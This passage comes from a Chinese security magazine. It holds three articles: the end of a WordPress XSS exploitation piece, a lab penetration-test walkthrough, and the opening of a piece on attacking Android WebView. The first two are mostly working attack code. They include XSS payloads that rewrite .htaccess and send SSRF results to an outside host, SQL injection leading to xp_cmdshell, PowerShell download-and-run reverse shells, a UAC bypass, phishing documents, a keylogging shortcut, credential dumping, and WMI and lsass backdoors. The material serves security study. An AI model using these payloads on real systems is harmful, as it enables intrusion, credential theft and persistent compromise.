
        d.send(); 

 

        // 跳回首页 

        setTimeout('location.href='+url+'wp-admin/',2000); 

   } 

} 
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事实上，由于 wordpress 的特殊性，我们可以通过 xss 来请求安装插件来简化上面的攻

击链，简化整个流程，当我们访问 ：  

http://wordpress.site/wp-admin/update.php?action=install-plugin&updraftplus_noautobackup=1&plugin=wp-c

rontrol&_wpnonce=391ece6c0f 

wp 就会自动安装插件，如果我们将包含恶意代码的模块上传到插件库中，通过上述请求

自动安装插件，再启用插件，那么一样可以完整整个攻击。 

xss 的破坏式利用 

上文中主要是展示了 xss 配合特性对前端渗透的一些攻击方式，但是很多时候渗透的目的

并不一定要隐秘，对于黑产或者其他目的的渗透来说，可能会有一些破坏式的利用方式。 

当攻击者的目的并不是为了渗透，而是为了恶作剧、挂黑页，甚至只是为了单纯的搞挂网

站，那么就不需要那么复杂的利用链，可以用一些更简单的方法 ：  

<img src=//upload.wikimedia.org/wikipedia/commons/f/fd/Hack.png 

style=width:100%;height:100%> 

这种方式一般应用于储存性 xss 漏洞点，比较接近恶作剧性质，因为不会危害到网站安全

：  

<iframe src="xxxxx" style="border:0;position: absolute;top: 0;right: 0;width: 100%;height: 100%" 

onload="{dom xss}" 
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通过上述 payload，我们可以配合 xss 漏洞来造成点击劫持，或者更复杂的利用方式。这

种漏洞一般比较适合新闻类站点的 xss 漏洞，在 wordpress 上我没找到合理的利用方式，就

不展示 demo 了，贴一张 brutelogic 在 ppt 中的 demo 截图。 

 

红箭头指向的标题是被 xss 修改后的标题。配合一些社工手段，这样的利用方式可能会造

成大于攻击网站本身的破坏。 

当然，还可以有更彻底的方式。在 wordpress 的插件 yoast seo 中，包含一个自带的功

能可以修改整战根目录的.htaccess 文件。 

通过修改.htaccess，我可以直接让整个站跳到黑页、广告页等，达成我们想要的目的 ： 

url = window.location.href; 

url = url.split('wp-admin')[0]; 

p = 'wp-admin/admin.php?'; 

q = 'page=wpseo_tools&tool=file-editor'; 

s = 

"%23%20BEGIN%20WordPress%0A<IfModule%20mod_rewrite.c>%0ARedirect%20%2fwordpress4.8%20https%3A

%2f%2florexxar.cn%0A<%2fIfModule>%0A%23%20END%20WordPress"; 

 

a = new XMLHttpRequest(); 

a.open('GET', url+p+q, 0); 
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a.send(); 

 

ss = '_wpnonce=' + a.responseText.match(/nonce" value="([^"]*?)"/g)[1].match(/\w+/g)[2] + 

'&htaccessnew=' + s + '&submithtaccess=Save+changes+to+.htaccess'; 

 

b = new XMLHttpRequest(); 

b.open('POST', url+p+q, 1); 

b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); 

b.send(ss); 

甚至如果想要使整个站出错，可以直接设置.htaccess 内容为 deny from all，那样整个站就

会返回 403，拒绝用户访问。 

当然除了攻击网站以外，我们可以通过使用 xss 来注入恶意 payload 到页面，当用户访

问页面时，会不断地向目标发起请求，当网页的用户量达到一定级别时，可以以最低的代价造

成大流量的 ddos 攻击。几年前就发生过类似的事情，攻击者利用搜狐视频评论的储存型 xss，

对目标产生了大流量的 ddos，这种攻击成本低，持续时间长，对攻击者还有很强的隐秘性。 

http://www.freebuf.com/news/33385.html 

攻击和防护的一些思路见 

https://www.incapsula.com/blog/world-largest-site-xss-ddos-zombies.html 

在前面部分的内容，花了大篇幅来描述 XSS 在前台中的影响，关于后台的部分只有一部

分通过编辑插件实现的 XSS to Rce.但实际上还有更多拓展的可能。 

XSS 的后端利用 

这里首先介绍一个 WordPress 的插件 UpdraftPlus，这是一个用于管理员备份网站的插

件，用户量非常大，基本上所有的 wordpress 使用者都会使用 UpdraftPlus 来备份他们的网

站，在这个插件中，集成了一些小工具，配合我们 xss，刚好可以实现很多特别的攻击链。 

首先是 phpinfo，前面提到，我们可以修改 hello holly 这个插件来查看 phpinfo，但是

如果这个默认插件被删除了，而且又没有合适的方式隐藏 phpinfo 页面，那么我们可以通过

UpdarftPlus 来获取 phpinfo 内容。 

这个链接地址为 ：  

wp-admin/admin-ajax.php?page=updraftplus&action=updraft_ajax&subaction=phpinfo&nonce=cbe6c0b062 

http://www.freebuf.com/news/33385.html
https://www.incapsula.com/blog/world-largest-site-xss-ddos-zombies.html
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除了 phpinfo 以外，我们还可以使用内建的 curl 工具，这个工具没有对请求地址做任何

限制，那么我们就可以使用这个工具来 ssrf 或者扫描内网。 

curl 的链接 ：  

wp-admin/admin-ajax.php?action=updraft_ajax&subaction=httpget&nonce=2f2f07ce90&uri=http://127.0.0.1&

curl=1 

配合 js，poc 如下 ：  

url = window.location.href; 

url = url.split('wp-admin')[0]; 

p = 'wp-admin/options-general.php?'; 

p2 = 'wp-admin/admin-ajax.php?'; 

q = 'page=updraftplus&tab=addons'; 

s = "http://111111111"; 

 

a = new XMLHttpRequest(); 

a.open('GET', url+p+q, 0); 

a.send(); 

 

q2 = 'nonce=' + /credentialtest_nonce='([^']*?)'/.exec(a.responseText)[1] + 

'&uri=' + s + '&action=updraft_ajax&subaction=httpget&curl=1'; 

 

// 发起请求 

b = new XMLHttpRequest(); 

b.open('GET', url+p2+q2, 1); 

b.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); 

b.send(); 

 

b.onload = function(){ 

    if (this.readyState == 4) { 

        // 传出请求结果 

        var c = new XMLHttpRequest();  

        c.open('POST', 'http://0xb.pw', true);  

        c.setRequestHeader("Content-type","application/x-www-form-urlencoded"); 

        c.send('result='+encodeURIComponent(b.responseText)) 

    } 

} 
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请求成功了，事实上，如果 XSS 的交互脚本写的足够好，这里完全可以实现对内网的渗

透。 

END：拓展与思考 

整篇文章其实是我在对 wordpress 源码审计时候的一些思考，对于大部分通用类的 cms，

开发者往往过于相信超级管理员，其中 wordpress 就是典型代表，开发者认为，网站的超级

管理员应该保护好自己的账户。 

在这种情况下，一个后台的反射形 XSS 漏洞往往会造成远远超过预期的危害。一个反射

性 XSS 配合一些设计问题会导致全站的沦陷。 

但反射性 XSS 总有一些缺点 

1、指向性明显，链接必须要网站的超级管理员点击才有效，在实际使用中，你可能很难获知

网站的超级管理员是谁。 

2、必须点击链接，最低要求也必须要访问包含你恶意链接的页面。 

幸运的是，我们仍然有拓展攻击的方式，在@呆子不开口 FIT2017 的议题中，他提到一

部分 poc 的反分析办法，根据这个思路，我们优化我们的 poc。 

 

一个完成的恶意链接，甚至可以搭配上 js 蠕虫，将入侵成功的站点再次演变为新的恶意

链接，这样整个攻击链就形成了。 

上面所有涉及到的 js 都上传到了我的 github 上。欢迎讨论 

 

  

https://github.com/LoRexxar/xss_essay
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无弹窗渗透测试实验 

作者：niexinmin 

原文来源：【阿里云先知】https://xianzhi.aliyun.com/forum/read/2061.html 

前渗透 

内网拓扑说明： 

1. 10.101.101.0/24 网段模拟的是外网的地址   

2. 192.168.101.0/24 网段模拟的是一个小型企业的内网中的应用服务器网络   

3. 192.168.111.0/24 网段模拟的是一个小型企业的内网中的办公网络   

4. 企业内网可以无限制的访问到外网，但是外网无法访问到企业内网   

5. 办公网可以无限制的访问到应用服务器网络，但是应用服务器网络无法访问到办公网

络 

6. 部分服务器打了全部的补丁，并且保持正常更新 

内网拓扑图： 
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扫描 10.101.101.13 后发现此服务器开放 80、82 端口， Win2008 系统，80 端口处

发现 SQL 注入，获取数据库和数据库所在服务器版本 ：  

http://10.101.101.13/?page=1 and @@version>0 -- 
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数据库是 2008r2 的，所在的操作系统是 Win2008 或 Win7，随后看数据库 ：  

http://10.101.101.13/?page=1;if IS_SRVROLEMEMBER('sysadmin')=1 waitfor delay '0:0:5' -- 

这个语句测试数据库的权限，发现有延时，证明是有数据库的权限是 dba 的权限，打开 

xp_cmdshell 的限制，创建临时表执行命令并将结果写入新创建的临时表中 ：  

EXEC sp_configure 'show advanced options',1; 

    RECONFIGURE;EXEC sp_configure 'xp_cmdshell',1; 

    RECONFIGURE；   

    http://10.101.101.13/?page=1;create table temp(id int identity(1,1),a varchar(8000));-- 

    http://10.101.101.13/?page=1;insert into temp exec master.dbo.xp_cmdshell 'ipconfig /all';-- 

读取结果 ：  

http://10.101.101.13/?page=1 and (select substring((select a from temp for xml auto),1,4000))>0-- 
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看上去这个网站是站库分离的网站，用这种方法执行 ping 10.101.101.16 ，发现数据库

服务器可以通外网，获取这些信息之后，我 drop table temp 删除创建的临时表。在获取到

这么多信息了之后，在自己机子上开一个 Web 站点下载 nishang 的 powershell 的反弹

脚本到自己的 Web 服务器上：https://github.com/samratashok/nishang 

nv -lvvp 8888 监听等待反弹，然后执行 ：  

http://10.101.101.13/?page=1;exec master..xp_cmdshell 'powershell IEX (New-Object 

Net.WebClient).DownloadString('http://10.101.101.13/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp 

-Reverse -IPAddress 10.101.101.13 -port 8888';-- 

https://github.com/samratashok/nishang
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但是数据库权限病不高，现在我将用 Powershell 远程加载并执行 exe 的脚本执行 

ms15-051 ，Ps 脚本地址 ：  

https://github.com/clymb3r/PowerShell/blob/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.p

s1 

执行 ：  

IEX (New-Object 

Net.WebClient).DownloadString('http://10.101.101.13/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjec

tion -PEUrl http://10.101.101.13/x86/ms15-051.exe -ExeArgs "cmd" -ForceA 

可以看到提权没有成功，并且换一个 Exploit 也没成功： 
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继续使用 msf 探测，开启 msf 监听功能： 

 

执行，从数据库主机上反弹一个 meterpreter 连接 ：  

http://10.101.101.13/?page=1;exec master..xp_cmdshell('IEX(New-Object 

Net.WebClient).DownloadString("http://10.101.101.16/CodeExecution/Invoke-Shellcode.ps1";) 

    Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 10.101.101.16 -lport 4444 -force') 
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随后用 use auxiliary/scanner/smb/smb_version 扫描 smb 获取内网信息，发现 mail 

服务器，然后用 use auxiliary/scanner/portscan 扫描端口，发现开放 80 25 110 端口： 

 

使用 use auxiliary/server/socks4a 代理进内网后在 82 断口处发现了惊喜： 

 

通过弱口令轻松进入到后台，发现一个可以生成静态站的地方： 
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把自定义静态页面存储主路径改成 1.asp ，然后编辑一篇文章把木马代码放进去，重新

生成静态页面 GetShell ： 

 

这个服务器的 82 不能执行 cmd，不支持 aspx，不能跨目录到 umail，但是在一个奇怪

的地方发现一个一份企业通讯录，下载下来看到管理员邮箱： 

 

于是想到用伪造邮件的方法来钓管理员，参考两篇文章： 

http://www.freebuf.com/vuls/144054.html  

http://www.freebuf.com/vuls/144054.html
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http://www.91ri.org/15506.html  

第一种方法：首先用 CVE-2017-8570 Explot 做一个钓鱼用的 ppsx ，由于原来的 exp 

要用 Poershell 下载 shell.exe 再执行，这样容易被杀软发现，并且原来的 exp 执行反弹回

来的 shell 权限不够，所以要考虑绕过 UAC ，让管理员点击恶意的 ppsx 后静默反弹一个

高权限的 shell ，如果用 nishang 给的 Invoke-PsUACme.ps1 ，执行之后会有一个一闪而

过的黑框框，很让人感到怀疑，去掉这个一闪而过的黑框框很简单，因为我用 oobe 的方法

在 Win7 上绕过 UAC ，所以我在这里只介绍在这种条件下去掉黑框框的方法，首先去

掉 Invoke-PsUACme.ps1 第 206 行的 & $execpath 代码，之后在调用 Invoke-PsUACme 的

时候 -payload 参数写上你要执行的命令，最后用 rundll32.exe 静默启

动 C:/Windows/System32/oobe/setupsqm.exe ： 

IEX(New-Object Net.WebClient).DownloadString("http://10.101.101.16/uacchm.ps1";) 

换掉原来 exp 里面的 Powershell 调用语句，其中 uacchm.ps1 的内容是 ：  

IEX (New-Object 

System.Net.WebClient).DownloadString('http://10.101.101.16/nishang/Escalation/Invoke-PsUACme.ps1';) 

    Invoke-PsUACme -method oobe -Payload 'powershell -win hidden -enc 

SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEA

G8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwADEALgAx

ADAAMQAuADEANgAvAGMAaABtAC4AcABzADEAJwApAA==' 

    Start-Process -FilePath rundll32.exe -ArgumentList 'javascript:"..\mshtml,RunHTMLApplication 

";new%20ActiveXObject("WScript.Shell").Run("C:/Windows/System32/oobe/setupsqm.exe",0,true);self.close();' 

而其中 enc 后面的数据是经过下面的代码编码而成 ：  

$command = "IEX (New-Object Net.WebClient).DownloadString('http://10.101.101.16/chm.ps1')"; 

    $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = 

[Convert]::ToBase64String($bytes) 

    powershell.exe -EncodedCommand $encodedCommand 

  编码的内容 ：  

IEX (New-Object System.Net.WebClient).DownloadString('http://10.101.101.16/chm.ps1';) 

chm.ps1： 

    IEX (New-Object 

System.Net.WebClient).DownloadString("http://10.101.101.16/powersploit/CodeExecution/Invoke-Shellcode.ps

1";); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 10.101.101.16 -lport 7777 -force 

http://www.91ri.org/15506.html
http://10.101.101.16/uacchm.ps1%22
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改好的 

exp https://github.com/niexinming/safe_tool/blob/master/cve-2017-8570_toolkit.py 

 ，用法是：先生成一个恶意的 ppsx 

python cve-2017-8570_toolkit.py -M gen -w car.ppsx -u http://10.101.101.16:82/logo.doc 

在 82 端口开启服务 ：  

python cve-2017-8570_toolkit.py -p 82 -M exp -e 10.101.101.16 

 

Ps: 好多时候这个漏洞复现不成功，可以将查看 文件 -> 选项，点击 信任中心设置，去

掉设置中的所有勾取选项即可： 

https://github.com/niexinming/safe_tool/blob/master/cve-2017-8570_toolkit.py
http://10.101.101.16:82/logo.doc


  安全客-2017 年季刊-第 3 期 

—427— 
 

 

 



  安全客-2017 年季刊-第 3 期 

—428— 
 

第二种方法比较简单，用 easy chm 做一个恶意的 chm ： 

 

其中我做的 test.html 我放在

了 https://github.com/niexinming/safe_tool/blob/master/test.html Ps: 由于 PARAM

的 value 的长度似乎有某种限制，所以我把 

IEX (New-Object Net.WebClient).DownloadString("http://10.101.101.16/uacchm.ps1";) 

base64 编码之后放入 PARAM 的 value 中 ： 

 

两个恶意的文件都制作好后用 swaks 伪造邮件把这两个文档发送出去： 

https://github.com/niexinming/safe_tool/blob/master/test.html
http://10.101.101.16/uacchm.ps1%22
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现在静静等待管理员点击我们的恶意文件，启动 msf 的 exploit/multi/handler 模块时

候用 exploit -j 就可以让 msf 在后台等待管理员上钩了。 

后渗透 

当我们发现一个管理员中了我们的木马： 

 

由于 bypass 了 uac ，所以返回的是管理员的 shell ，我们可以用 mimikatz 来把密

码脱出来看看： 
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由于管理员的机子不属于任何域，也不是域账号登陆，所以我需要获取他的在远程登陆其

他机子的时候的用户名和密码，根据这篇文件的介绍，我希望替换远程桌面的快捷方式来监视

管理员的行为，思路是： 

（1）正常启动 c:\windows\system32\mstsc.exe，避免管理员怀疑 

（2）由于原来的 exp 一启动就会有个黑框框一闪而过，要用 rundll32 的方式来消除黑

框框，让恶意代码静态启动 

（3）参数部分要先加 260 个空格字符后面接着为 payload 代码，这样减小管理员查看

属性的时候看到 payload 而产生怀疑 

（4）参考 http://wooyun.jozxing.cc/static/drops/tips-13125.html 这个文章静默启动

一个桌面步骤记录程序 

（5）利用 PowerSploit 的 Get-Keystrokes.ps1 的脚本来记录键盘记录 

（6）记录一分钟后把记录的文件隐藏起来 

（7）启动 metasploit 的反弹连接 

（8）修改图标（关于 C:\Windows\system32\SHELL32.dll 的图标 id，有个网站给的很

全面，http://help4windows.com/windows_7_shell32_dll.shtml，可以修改传递给图标 id

来修改图标） 

我把修改好的代码放

在 https://github.com/niexinming/safe_tool/blob/master/link.ps1 ，远程加载的恶意的 

PowerShell 代码放在

http://www.freebuf.com/articles/system/132075.html
http://help4windows.com/windows_7_shell32_dll.shtml%EF%BC%8C%E5%8F%AF%E4%BB%A5%E4%BF%AE%E6%94%B9%E4%BC%A0%E9%80%92%E7%BB%99%E5%9B%BE%E6%A0%87id%E6%9D%A5%E4%BF%AE%E6%94%B9%E5%9B%BE%E6%A0%87
http://help4windows.com/windows_7_shell32_dll.shtml%EF%BC%8C%E5%8F%AF%E4%BB%A5%E4%BF%AE%E6%94%B9%E4%BC%A0%E9%80%92%E7%BB%99%E5%9B%BE%E6%A0%87id%E6%9D%A5%E4%BF%AE%E6%94%B9%E5%9B%BE%E6%A0%87
https://github.com/niexinming/safe_tool/blob/master/link.ps1
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了 https://github.com/niexinming/safe_tool/blob/master/rlnk.ps1，生成好恶意的快捷

方式之后只要修改 rlnk.ps1 就可以做你想做的事情了。 

使用方法： 

 

看着已经生成好了，看一下效果： 

https://github.com/niexinming/safe_tool/blob/master/rlnk.ps1
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看着比较正常，用起来也很正常，没有卡顿，没有一闪而过的黑框，如果管理员用到远程

登陆快捷方式去远程登陆服务器的话，在 c:\windows\temp 目录下会生成 log.dll ，这个里

面记录的是键盘记录，cap.zip 记录的是关键步骤截屏：   
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等管理员启动的恶意的远程登陆快捷方式之前，可以用管理员的密码在应用服务器网段内

用 use auxiliary/scanner/smb/smb_login 碰碰运气（看起来运气并不怎么样。。。）： 

 

等了几天后，我们发现在这个目录下终于有东西了，下载之后看到键盘记录： 

 

屏幕截图记录： 
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我们现在获得了一个普通域账号的账户名和密码，下面试试 MS14-068 能不能成功，参

考：

http://note.youdao.com/share/?id=1fe30438ec6ccd66e67c3d1ffdd8ae35&type=not

e#/ ，用 proxychain 执行 ：  

goldenPac.py diattack.com/jack:jackpwd@dns.diattack.com 

NICE!!! 

 

http://note.youdao.com/share/?id=1fe30438ec6ccd66e67c3d1ffdd8ae35&type=note
http://note.youdao.com/share/?id=1fe30438ec6ccd66e67c3d1ffdd8ae35&type=note
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Ps: 攻击的时候如果 dns 在内网要记得 hosts 的地址绑定。 

 

用得到的 shell 反弹一个 PoweShell 出来到本地 8888 端口，如果你用下面的语句反弹

的话将得到是一个 32 位的 PowerShell ：  

powershell IEX (New-Object 

Net.WebClient).DownloadString('http://10.101.101.16/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-Power

ShellTcp -Reverse -IPAddress 10.101.101.16 -port 8888 

这个时候如果你运行 ：  

IEX (New-Object 

Net.WebClient).DownloadString('http://10.101.101.16/nishang/Gather/Invoke-Mimikatz.ps1');Invoke-Mimikatz 

系统会报错，原因是你不能在 32 位的 Shell 中运行 64 位的程程序，这里涉及到一个 64

位系统文件重定向的问题，参考：http://www.cnblogs.com/lhglihuagang/p/3930874.html，

所以正确的做法是使用下面的代码来反弹一个 64 位的 PowerShell ：  

C://Windows//SysNative/WindowsPowerShell//v1.0//powershell.exe IEX (New-Object 

Net.WebClient).DownloadString('http://10.101.101.16/nishang/Shells/Invoke-PowerShellTcp.ps1');Invoke-Power

ShellTcp -Reverse -IPAddress 10.101.101.16 -port 8888 

再次运行 ：  

IEX (New-Object 

Net.WebClient).DownloadString('http://10.101.101.16/nishang/Gather/Invoke-Mimikatz.ps1');Invoke-Mimikatz 

http://www.cnblogs.com/lhglihuagang/p/3930874.html
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成功得到域控管理员的密码，下面我们要在域控上面安装一个隐蔽的后门，参考： 

http://www.moonsec.com/post-621.html 

https://www.secpulse.com/archives/39555.html 

http://wooyun.jozxing.cc/static/drops/tips-15575.html  ; 

这里利用三好学生的方法制作一个 wmi 的后门，首先在自己的 Web 目录下写一个 

mof.ps1 ，这个文件作用是用利用 wmi 的定时器的功能让系统每分钟执行一次我们的 

payload，这个 mof.ps1 我放

在 https://github.com/niexinming/safe_tool/blob/master/mof_time.ps1 ，我还写了一

个可以劫持进程的 Powershell 脚本，放

在 https://github.com/niexinming/safe_tool/blob/master/mof_hijack.ps1 ，这里我的 

Payload 用一个反弹 meterpreter 连接的脚本，mof.txt ：  

<?xml version="1.0"?> 

    <package> 

    <component id="testCalc"> 

    <script language="JScript"> 

    <![CDATA[ 

    var r = new ActiveXObject("WScript.Shell").Run("powershell -enc 

SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEA

G8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwADEALgAx

ADAAMQAuADEANgAvAGMAaABtAC4AcABzADEAJwApAA=="); 

    ]]> 

    </script> 

http://www.moonsec.com/post-621.html
https://www.secpulse.com/archives/39555.html
http://wooyun.jozxing.cc/static/drops/tips-15575.html  
https://github.com/niexinming/safe_tool/blob/master/mof_time.ps1
https://github.com/niexinming/safe_tool/blob/master/mof_hijack.ps1
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    </component> 

    </package> 

  enc 编码前的内容依然是 ：  

IEX (New-Object System.Net.WebClient).DownloadString('http://10.101.101.16/chm.ps1';) 

执行之后，每分钟会反弹一个 meterpreter 的 shell，而且重启后依然会反弹： 

 

Ps: 这个 wmi 的后门我在 Win10 上实验的时候不能执行 Payload ，如果触发到后门的

触发条件的话， Win10 会弹出 openwith.exe 这个进程，界面上看就是这个： 
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查了两天资料也没有找到一个正经的解决方法，但是后来把 openwith.exe 换成 

cmd.exe 就可以执行 Payload 了，因为 win7 和 win2008 没有 openwith ，所以没有遇

到什么阻力就直接执行 Payload，但是 Win10 和 Win8 在正常情况下就会打开 openwith ，

这个后门的清理方式可以参考：https://www.52pojie.cn/thread-607115-1-1.html 

https://www.52pojie.cn/thread-607115-1-1.html
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最后，我还想放置一个后们，在域控管理员改密码的时候记录他的新密码[参考]，注意他

的脚本里面有一个选项可以从你的 Web 服务器加载一个 dll 到对方主机内存里面，这样你把

你的 dll 生成好之后就可以放在你的 Web 服务器下面，在这个 ps1 最下面加入 ：  

Invoke-ReflectivePEInjection -PEUrl http://10.101.101.16/HookPasswordChange.dll –procname lsass 

然后你把这个脚本的调用加入到 chm.ps1 里面，下面是改动之后 chm.ps1 里面的内容 ： 

IEX (New-Object 

System.Net.WebClient).DownloadString("http://10.101.101.16/HookPasswordChangeNotify.ps1";) 

    IEX (New-Object 

System.Net.WebClient).DownloadString("http://10.101.101.16/powersploit/CodeExecution/Invoke-Shellcode.ps

1";); Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 10.101.101.16 -lport 7777 -force 

这样一方面我们可以反弹一个 meterpreter ，另一方面还可以在域管理员改密码的时候

记录他的新密码： 

 

http://wooyun.jozxing.cc/static/drops/tips-13079.html
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通过 WebView 攻击 Android 应用 

作者：周知日@知乎-长亭技术专栏 

原文来源：【知乎专栏】https://zhuanlan.zhihu.com/p/28107901 

WebView 可在应用中嵌入一个内置的 Web 浏览器，是 Android 应用开发常用的组件

之一。 

通过 WebView 对 Android 应用的攻击案例屡见不鲜，比如几年前就被玩坏的 

addJavascriptInterface 远程代码执行。但修复了 addJavascriptInterface 并不表示就能高

枕无忧。应用在 WebView 上为 Javascript 提供的扩展接口，可能因为接口本身的问题而

变成安全漏洞。 

除此之外，在没有启用进程隔离的 WebView 与 App 具有相同权限，获得任意代码执

行后可以访问应用私有数据或其他系统接口，可以将浏览器漏洞移植到手机平台上对应用进行

针对性攻击。部分厂商使用自行基于开源浏览器引擎 fork 而来的内核，也可能因为同步上游

补丁代码不及时而出现可利用的漏洞。 

在 Android N 中增加了一个开发者选项，就是在所有的应用中将 WebView 的渲染进

程运行在独立的沙箱中。即使恶意网页通过漏洞在渲染进程中执行了代码，还需要更多的漏洞

绕过沙箱的限制。这一特性将在 Android O 中默认启用。但在这一缓解措施正式部署到大部

分设备之前，通过攻击 WebView 获得远程代码执行进而直接攻击应用仍然是可行的。 
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1 Beyond addJavascriptInterface 

本文并不打算炒 addJavascriptInterface 的冷饭，而是关注在接口本身的实现上。 

即使是使用了相对安全的通信手段（如 shouldOverrideUrlLoading 或 onJsAlert 之类

回调的方案，或是其他基于类似方案的开源通信库），如果应用接口设计不当，仍然存在被恶

意页面通过 js 执行任意代码的可能。 

利用可写入的可执行文件 

这一种攻击方式需要结合两种类型的漏洞，一是能在本地写入路径和内容可控的文件，二

是应用中存在动态加载不可信代码的逻辑。逻辑漏洞不涉及内存破坏，利用起来非常稳定。另

外此类漏洞调用逻辑相对复杂，可能较难通过完全自动化的方式扫描识别。 

在 Android 中因为开发者不严谨造成任意文件写入的漏洞较为常见。首先是写文件的接

口可能本身设计上就允许传入任意路径的参数，另一种情况就是直接拼接路径导致可以 “…/” 

进行目录穿越。 

常见的场景有： 
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下载远程文件到指定的路径； 

解压 zip 文件时未对 ZipEntry 文件名进行合法性检查，可路径穿越； 

下载时未对 Content-Disposition: 进行合法性检查，可路径穿越。 

最后一个点比较少人注意到。Content Disposition 是常见的 HTTP 协议 header，在

文件下载时可以告诉客户端浏览器下载的文件名。例如服务器返回 Content-Disposition: 

attachment; filename="cool.html" ，浏览器将弹出另存为对话框（或直接保存），默认的

文件名就是 cool.html。 

但这个 filename 参数显然是不可信任的。例如恶意网站返回的文件名包含 ../，当 

Android 应用尝试将这个文件保存到 /sdcard/Downloads 时，攻击者就有机会把文件写入

到 /data/ 目录中了： 

 

如果用户不小心点击确认下载，文件将会被写入到指定的位置。这种攻击甚至完全不需要 

WebView 允许执行 Javascript（setJavaScriptEnabled(true)），只要简单在 HTTP 服务器

中添加一个恶意 header 即可实现。 

在写入文件后便是代码的加载。 

几种常见的 Android 下动态加载可执行代码的方式： 

DexClassLoader 动态载入应用可写入的 dex 可执行文件； 

java.lang.Runtime.exec 方法执行应用可写入的 elf 文件； 
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System.load 和 System.loadLibrary 动态载入应用可写入的 elf 共享对象； 

本地代码使用 system、popen 等类似函数执行应用可写入的 elf 文件； 

本地代码使用 dlopen 载入应用可写入的 elf 共享对象； 

利用 Multidex 机制：A Pattern for Remote Code Execution using Arbitrary File 

Writes and MultiDex Applications. 

如果应用动态加载代码之前未做签名校验，利用存在任意文件写入问题的 WebView 扩

展接口进行覆盖，可实现稳定的任意代码执行。此外由于在文件系统中写入了可执行文件，还

可以实现持久化攻击的效果。 

SQLite 接口 

部分应用为 WebView 提供了可执行任意 SQL 语句的扩展接口，允许打开和查询文件

名可控的数据库；除此之外，在 WebKit 中有一个比较少用的 WebDatabase 功能，已被 

W3C 标准废弃，但 WebKit 和 Chromium 仍然保留了实现。SQLite3 中存在一些已知的

攻击面（如 load_extension 和 fts3_tokenizer 等），因此浏览器的 WebSQL 对 SQL 中

可查询的函数做了白名单限制。 

但长亭安全实验室发现，即使是浏览器白名单中的 SQLite3 函数依然存在可利用的安全

性问题，最终可实现一套利用在 Chrome 和 Safari 两大浏览器上通用的代码执行。 

此漏洞被用于 2017 年 Pwn2Own 黑客大赛上攻击 Safari 浏览器。此漏洞影响所有支

持 WebDatabase 的浏览器（Windows、Linux、macOS、iOS、Android 上的 Chrome、

Safari），包括多个 App 厂商基于 blink 或 WebKit 分支开发的浏览器引擎，影响数量非常

可观。 

漏洞目前已被 SQLite 和相关浏览器引擎修复。关于漏洞利用细节，长亭安全实验室在 

BlackHat 大会上进行了详细讲解. 
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即使是做了权限限制的 WebDatabase 依然会出现问题，而我们不时可以看到一些应用

直接将 SQLite 查询接口不做任何限制就暴露给了 WebView。这意味着使用之前已知的攻击

方式（fts3_tokenizer、load_extension、attach 外部数据库等）将可以结合脚本的能力得

到充分利用。 

一些应用允许通过参数打开指定文件名，实现上存在任意路径拼接的漏洞。恶意页面可以

打开任意 App 沙盒目录下任意数据库进行查询，将私有数据完全暴露给攻击者。 

为了安全以及实际开发工程量考虑，我们建议在开发混合应用时，如需为 HTML5 应用

提供离线存储能力，可直接使用 localStorage、IndexedDB 等 API。 

其他可通过扩展接口触发的问题 

扩展接口在增强了 Web 内容的表现力的同时，也为应用增大了攻击面。一些需要本地

才能触发的问题，如 Intent、ContentProvider 等，可以通过扩展接口提供的便利得以远程

利用。 

例如，使用 js 唤起 Activity 是很常见的功能；开启 setAllowContentAccess 后 

WebView 可以通过 content:// 访问 ContentProvider，甚至扩展接口本身提供了这样的能

力……这些原本需要本地安装恶意应用，需要导出 Activity、ContentProvider 才能触发的问

题，可以被远程调用了。 

应用本身的实现也有可能存在命令注入、允许 js 访问反射等安全问题。比如这篇文章介

绍了某 Android 上的浏览器 App，存在任意文件写入、SQL 注入、XSS 等问题，最终可以

跨域获取用户信息、远程执行代码：http://d3adend.org/blog/?p=851 
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应用开发者在做接口的时候，不仅需要小心避免代码本身的安全漏洞，在 js 调用者的域

上做好限制。 

2 从 shellcode 到攻击载荷 

由于目前（< Android O）默认没有启用隔离进程的 WebView，将浏览器引擎的漏洞移

植到 Android 平台来攻击带 WebView 的应用。多数浏览器引擎漏洞利用会最终执行一段 

shellcode。不过仅仅反弹一个 shell 显然不足以实现攻击 App，还要有针对性地调用一些 

Android 虚拟机运行时的特性。 

例如通过 App 权限读取短信、联系人，或者需要解密应用自身使用的某个 SQLite 数据

库的内容，就需要使用 JNI 实现相应的逻辑。 

载荷的载入 

就攻击特定应用的场景而言，将载荷完全使用 shellcode 甚至 ROP 并非不可能，但或

多或少增加工作量。有一个 shell 之后可以做什么？很容易想到下载一个可执行文件然后加

载。Android 没有自带 wget 或 curl，除非用户自行 root 并安装 busybox。不过有 xxd 

命令可以使用，使用 echo 和管道重定向的方式还是可以实现下载可执行文件的。 

如果不想在文件系统留下痕迹，手工模拟动态链接、重定位 ELF，可在内存中直接加载可

执行文件。BadKernel 是一个利用了 V8 上游已经修补，但未及时同步到第三方 fork 中的

漏洞，攻击某知名即时聊天应用的案例。在 BadKernel 的利用代码 中，调用 JNI 查询 

ContentProvider 获取短信的逻辑是单独编译到一个 so 中的。 
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在作者公开的利用代码中，首先通过 javascript 任意地址读写，搜索一行调用 dlsym 的

机器码，从中解析出 dlopen@plt 的地址，再加上三条指令的长度获得 dlsym@plt 的地址。

触发任意代码执行时将这两个函数指针传入 shellcode，以进一步解析所需的各种符号。最后

